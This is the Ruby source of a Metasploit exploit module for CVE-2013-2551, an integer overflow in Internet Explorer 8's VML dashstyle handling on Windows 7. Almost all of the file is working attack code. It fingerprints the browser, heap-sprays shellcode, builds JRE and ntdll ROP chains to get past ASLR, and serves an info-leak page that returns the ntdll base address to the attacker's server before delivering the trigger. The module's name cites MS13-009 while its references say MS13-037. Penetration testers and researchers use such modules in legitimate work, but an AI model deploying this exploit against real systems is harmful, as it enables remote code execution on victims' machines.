metasploit-framework/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

369 lines
9.5 KiB
Ruby
Raw Normal View History

2013-06-12 12:37:57 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank
})
def initialize(info={})
super(update_info(info,
'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{
This module exploits an integer overflow vulnerability on Internet Explorer.
The vulnerability exists in the handling of the dashstyle.array length for vml
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
to use an info leak to disclose the ntdll.dll base address is provided. This target
requires ntdll.dll v 6.1.7601.17514 in order to work (the default dll version on a
fresh Windows 7 SP1 installation).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
'4B5F5F4B', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2551' ],
[ 'OSVDB', '91197' ],
[ 'BID', '58570' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
],
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
{
'Rop' => :jre,
'Offset' => '0x5f4'
}
],
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak', # requires ntdll.dll v 6.1.7601.17514
{
'Rop' => :ntdll,
'Offset' => '0x5f4'
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 06 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def exploit
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
super
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0c0c
# For IE 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06, # ret # from msvcr71
0x7c341748, # pop ebx # ret # from msvcr71
0x7c348b05 # xchg eax, esp # ret from msvcr71
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
stack_pivot = [
@ntdll_base+0x0001578a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
rop_payload = stack_pivot + ntdll_rop + payload.encoded
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|
return html
end
def html_info_leak
html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
}
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
@ntdll_base = leak - 0x470B0
vprint_status("ntdll leak: #{leak.to_s(16)}, ntdll base: #{@ntdll_base.to_s(16)}")
if ((leak != 0) && ((@ntdll_base & 0x1111) != 0))
print_error("ntdll version not detected, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end